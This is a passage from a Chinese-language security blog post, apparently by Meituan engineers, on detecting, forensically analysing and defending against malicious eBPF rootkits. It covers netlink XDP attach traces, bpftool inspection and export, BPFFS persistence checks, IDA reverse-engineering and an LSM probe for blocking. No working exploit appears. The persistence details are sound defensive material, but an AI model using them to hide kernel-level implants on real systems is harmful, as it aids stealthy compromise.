msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, msg_namelen=12, msg_iov=[ { iov_base={ {nlmsg_len=52, nlmsg_type=RTM_NEWLINK, nlmsg_flags=NLM_F_REQUEST|NLM_F_ACK, nlmsg_seq=1642672403, nlmsg_pid=0}, {ifi_family=AF_UNSPEC, ifi_type=ARPHRD_NETROM, ifi_index=if_nametoindex("ens33"), ifi_flags=0, ifi_change=0}, { {nla_len=20, nla_type=IFLA_XDP}, [ {{nla_len=8, nla_type=IFLA_XDP_FD}, 6}, {{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST} ] } }, iov_len=52 } ], msg_iovlen=1, msg_controllen=0, msg_flags=0 }, 0) = 52 可以看到IFLA_XDP_FD后面的FD参数是6。同样,删除XDP程序,需要把FD设置为-1,对应NETLINK包构成如下: 17:55:16.306843 sendmsg(3, { ... {nla_len=20, nla_type=IFLA_XDP}, [ {{nla_len=8, nla_type=IFLA_XDP_FD}, -1}, {{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST} ] } ... }, 0) = 52 不止IP命令,TC命令分类器 也是支持BPF程序,将BPF程序作为classifiers和 actions加载到 ingress/egress hook点。背后原理与IP类似,也是netlink协议与内核通讯,网卡维持BPF对象计数器。 检测机制 使用原生IP、TC等命令,查看网卡加载的BPF对象。 ip link show tc filter show dev [网卡名] [ingress|egress] 使用bpftool命令查看 bpftool net show dev ens33 -p命令可以用于查看网络相关的eBPF HOOK点。 CGROUP的的BPF_PROG_TYPE_CGROUP_SKB、BPF_PROG_TYPE_CGROUP_SOCK类型程序的加载情况都可以通过bpftool prog show查看。长短生命周期的BPF程序区别是缺少用户空间进程PID信息。如下图: BPFFS 除了前面提到的方法外,BPF文件系统BPFFS也是让BPF程序后台运行的方式。用户空间进程可以使用任意名字将BPF程序PIN到BPFFS。让在BPFFS来自动增加BPF对象的refcnt引用计数器,来保持后台的活跃状态。使用时,只需要使用bpf_obj_get(“BPFFS path”)就可以获得BPF对象的FD。 BPFFS在linux的类型是BPF_FS_MAGIC,默认目录/sys/fs/bpf/,可自定义修改,但确保文件系统类型是unix.BPF_FS_MAGIC。 检测思路上,需要关注虚拟文件系统是不是unix.BPF_FS_MAGIC类型。 在linux系统上,mount -t bpf来查看系统所有挂在的文件类型,是否包含BPFFS类型。 确定BPFFS的目录后,再查看目录下的挂在点是否存在异常。 取证 内核已加载的BPF对象导出 bpftool工具可以导出有FD ID的PROG、MAP。 BPF PROG程序 可以导出opcode\visual\linum等多种格式,并可以生成调用关系图。具体可以查看bpftool的帮助文件。 root@vmubuntu:/home/cfc4n# bpftool prog help bpftool prog dump xlated PROG [{ file FILE | opcodes | visual | linum }] bpftool prog dump jited PROG [{ file FILE | opcodes | linum }] BPF MAP 与PROG类似,也可以通过bpftool导出内容,并支持json格式化内容。 root@vmubuntu:/home/cfc4n# bpftool map dump id 20 [{ "value": { ".rodata": [{ "target_ppid": 0 },{ "uid": 0 },{ "payload_len": 38 ... BPFFS BPFFS类型的BPF对象,虽然可以更便捷的放到后台执行,用户空间程序可以退出,也可以再次读取,但这也给取证带来很大便利。bpftool命令也支持从pinned到BPFFS文件系统的路径里导出PROG、MAP。参与少有区别,详情见bpftool help。 内核未加载的BPF对象 当定位到后门rootkit的用户空间程序后,那么BPF字节码肯定会被其调用。字节码内容一般会放在一个独立文件中,或者作为字节码编译到当前程序里。这也只需要使用IDA之类反编译工具,定位到相关字节流,导出即可。 以笔者演示视频中的ehids进程为例,使用https://github.com/ehids/ebpfmanager 纯GO的eBPF模块管理器package,对于eBPF字节码会使用github.com/shuLhan/go-bindata/cmd/go-bindata包对BPF字节码进行加载、GZIP压缩,作为go代码的变量,在部署时比较边界。 IDA pro加载时,我们可以在.noptrdata段部分看到这块代码,开始地址是0000000000827AE0,导出后再解压,可以还原原来的BPF ELF文件内容。 因为每个BPF用户态实现不同,类库也不一样,静态分析实践起来有难度。那可以模拟相同环境,动态运行,提前HOOK BPF SYSCALL,找到FD设置的地方,也是可以导出BPF的ELF文件。 字节码分析 BPF字节码本身也是ELF格式,只是格式指令上有一定区别。反编译工具IDA pro也能支持,国外安全工程师开源了一个python插件:eBPF IDA Proc ,以及整理了一篇分析的文章:Reverse Engineering Ebpfkit Rootkit With BlackBerry's Enhanced IDA Processor Tool ,有兴趣可以读读。 防御 eBPF在网络安全场景的使用,除了做入侵检测外,还是可以用于防御。 LSM PROBE HOOK提供了相关功能。以容器逃逸场景为例,行为最明显的特征是父子进程的namespace不一致,子进程创建完成后,判断这个特征是否匹配,返回EPERM覆盖进程创建函数的返回值,从而起到防御的目的。相比内核模块等防御实现,eBPF实现更加安全、稳定、可靠,从而在源头上解决容器逃逸的问题。 同样,笔者认为eBPF也是二进制层最优秀的虚拟补丁、热更新解决方案。 LSM_PROBE(bpf, int cmd, union bpf_attr *attr, unsigned int size) { return -EPERM; } 在系统的配置上有一定要求,CONFIG_BPF_LSM=y,CONFIG_LSM配置内容,必须包含bpf等,详情可参考BCC类库Demo lsm probe 。 工程实现 练手 入门练手,可以尝试使用BCC的类库:https://github.com/iovisor/bcc ,以及C语言用户空间程序的各种Demo例子Demo BPF applications 。 类库选择 工程化时,对项目质量、稳定性、研发效率等都有要求,推荐cilium的纯go eBPF类库,由cilium官方背书可放心使用。datadog公司的agent产品也是用这个类库。 笔者的产品也是参考datadog,抽象包装了cilium的eBPF库,实现配置化便捷管理eBPF程序。github仓库:https://github.com/ehids/ebpfmanager ,欢迎使用。 当然,也可以使用libbpf包装的go类库实现,比如tracee等产品。 系统兼容性 CO-RE eBPF的出现极大的简化了编写内核态代码的门槛,极高的安全性,友好的加载方式,高效的数据交互,令eBPF深受追捧。然而和编写传统内核模块相同,内核态的功能开发伴随着繁冗的适配测试工作,Linux繁多的内核版本更是让适配这件事难度陡增, 这也就是BTF出现之前的很长一段时间里,bcc + clang + llvm被人们诟病的地方。 程序在运行的时候,才进行编译,目标机器还得安装clang llvm kernel-header等编译环境,同时编译也会消耗大量cpu资源,这在某些高负载机器上是不能被接受的。 因此BTF&CO-RE横空出现,BTF可以理解为一种debug符号描述方式,此前传统方式debug信息会非常巨大,linux内核一般会关闭debug符号,btf的出现解决了这一问题,大幅度减少debug信息的大小,使得生产场景内核携带debug信息成为可能。 可喜的是通过运用这项技术,可以帮助开发者节省大量适配精力,但是这项技术目前还是在开发中,还有许多处理不了的场景,比如结构体成员被迁入子结构体中,这时候还是需要手动解决问题,BTF的开发者也写了一篇文章,讲解不同场景的处理方案bpf-core-reference-guide 大型项目 在国外,云原生领域产品发展较快,涌现出一批批基于eBPF的产品,包括Cilium、datadog 、falco、Katran等,应用在网络编排、网络防火墙、跟踪定位、运行时安全等各个领域,可以借鉴这些大型项目的研发经验,来加快产品建设,包括多系统兼容、框架设计、项目质量、监控体系建设等。本篇以检测防御为主,工程建设相关经验我们在以后的文章中分享。 总结 随着云原生快速发展,eBPF实现软件、运行环境会越来越多。而eBPF的恶意利用也会越来越普遍。从国内外的情况来看,国外对这个方向的研究远比国内超前,笔者再次呼吁大家,网络安全产品应当尽快具备eBPF相关威胁检测能力。 这里,笔者跟大家探讨了基于eBPF技术的恶意利用与检测机制。在文章之初,提到eBPF在防御检测产品研发、工程建设等,我们将在下一篇跟大家分享,敬请期待。 作者简介 陈驰 : 2017年加入美团,目前主要负责IDC服务器的检测防御产品研发,完善服务器侧纵深防御体系建设。 杨一 : 2017年加入美团,目前主要负责HIDS主机安全产品研发工作。 胡鑫博 : 2021年加入美团,目前主要负责HIDS Agent的研发。 参考文献 Creating and Countering the Next Generation of Linux Rootkits: DEF CON 29 - PatH - Warping Reality: Creating and Countering the Next Generation of Linux Rootkits DEFCON 29 - eBPF, I thought we were friends: https://www.youtube.com/watch?v=5zixNDolLrg eBPF的各种技术应用PDF集合: https://github.com/ehids/slide Offensive BPF: Malicious bpftrace : https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/ Bad BPF - Warping reality using eBPF: https://blog.tofile.dev/2021/08/01/bad-bpf.html Lifetime of BPF objects: https://facebookmicrosites.github.io/bpf/blog/2018/08/31/object-lifetime.html BPF程序(BPF Prog)类型详解:使用场景、函数签名、执行位置及程序示例:https://arthurchiao.art/blog/bpf-advanced-notes-1-zh Features of bpftool: the thread of tips and examples to work with eBPF objects: https://qmonnet.github.io/whirl-offload/2021/09/23/bpftool-features-thread/ Reverse Engineering Ebpfkit Rootkit With BlackBerry's Enhanced IDA Processor Tool: https://blogs.blackberry.com/en/2021/12/reverse-engineering-ebpfkit-rootkit-with-blackberrys-free-ida-processor-tool Creating and countering the next generation of Linux rootkits using eBPF: Creating and countering the next generation of Linux rootkits using eBPF Pat Hogan eBPF Syscall: https://www.kernel.org/doc/html/latest/userspace-api/ebpf/syscall.html Cilium eBPF实现机制源码分析: https://www.cnxct.com/how-does-cilium-use-ebpf-with-go-and-c/ ebpfkit is a rootkit powered by eBPF: https://github.com/Gui774ume/ebpfkit 招聘 美团信息安全部招聘研发专家,职位如下列表,职位描述见美团信息安全部2022年招聘岗位 。 安全研发专家(主机安全方向) 安全研发专家(RASP方向) WEB研发架构师(JAVA语言) 美团信息安全部其他职位 github 2022-03-09 2 0